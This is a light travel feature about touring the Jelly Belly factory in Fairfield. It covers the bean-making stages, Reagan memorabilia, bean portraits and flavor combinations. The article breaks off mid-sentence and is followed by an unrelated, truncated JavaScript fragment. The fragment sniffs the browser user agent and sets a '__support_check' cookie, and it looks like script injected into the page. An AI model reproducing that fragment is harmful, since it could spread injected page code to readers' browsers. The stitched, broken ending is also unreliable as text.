It’s your typical factory: conveyor belts and robotic arms. Oh yeah, and a giant inflatable jelly bean.

The Jelly Belly factory manufactures anything but a typical product. On free tours of the Fairfield factory, visitors can witness the birth of those delectable, kidney-shaped candies that are “the original gourmet jelly bean.”

Saying hello to the inflatable Mr. Jelly Belly outside the otherwise plain exterior is just the beginning. A whimsical array of jelly beans dangle over head as you enter the main lobby.

Of course, Ronald Reagan is there. In the guise of a Jelly Belly portrait, our 40th president and Jelly Belly’s biggest fan watches as visitors enter. A display of Reagan memorabilia includes Jelly Belly jars emblazoned with the president’s seal and a letter from Reagan thanking Jelly Belly for “making my job just that much sweeter.” He even admits that nary a cabinet decision could be made without first passing the licorice, Reagan’s favorite flavor.

Next grab a paper hat and take the tour to discover the life cycle of a Jelly Belly.

Stage one is creating the juicy center. Machines spit a slurry of syrup and natural flavorings onto impression trays to attain that distinctive shape. Stage two is engrossing the bean, where more syrup and sugar is poured onto the centers while they tumble in tilted stainless steel vats. Stage three is a final drenching of syrup that makes the beans shine like edible jewels. The whole process takes 7-10 days.

Jovial workers dressed in white wave to onlookers as they package candy in boxes and send them crawling down a network of conveyor belts and eventually into your mouth.

Beans that don’t make the cut are sold in the gift shop as Belly Flops. These misshapen candies account for nearly 1 percent of production.

Making a Jelly Belly bean is almost an art form and sometimes art itself. San Francisco artist Peter Rocha has created portraits of Princess Diana, Elvis, and the Pope out of Jelly Belly beans. Using nothing but glue and some chopsticks, he meticulously places each bean onto a painted canvas. His portrait of Elvis contained 10,000 beans.

Fans of the King can recreate his favorite peanut butter and banana sandwiches with the myriad of flavors. The original eight have blossomed to 50 official flavors, including caramel corn, strawberry cheesecake and margarita. Combining the flavors using recipes makes for some tasty concoctions. If you want pink lemonade, pop two lemon and two cotton candy Jelly Belly beans. Or get a cafe mocha out of a couple cappuccino beans, and one each of chocolate pudding and A & W cream soda. You’ll never need to go to Starbucks again.

Just don’t confuse the greens of watermelon and jalapeno. The jalapeno flavoring is reportedly so strong, the spicy beans can’t be mixed in the assorted packs for fear they will make the other beans taste bad.

If the free sample bag of Jelly Belly beans handed out after the tour isn’t enough, you’ll be lured into the gift shop where every flavor awaits.

Products like Jelly Belly jewelry, lip gloss and T-shirts are available for the true believers.”They’re the only jelly bean I like,” said 12-year-old Tiffany Rose, visiting on a field trip with Roseville Christian Academy.

A tour through the Jelly Belly factory is free. But rediscovering what it’s like to be a kid in a candy.

var data, p;var agt=navigator.userAgent.toLowerCase();var img=escape(“./buttons/b1.jpg”);document.cookie=’__support_check=1′;p=’http’;if((location.href.substr(0,6)==’https:’)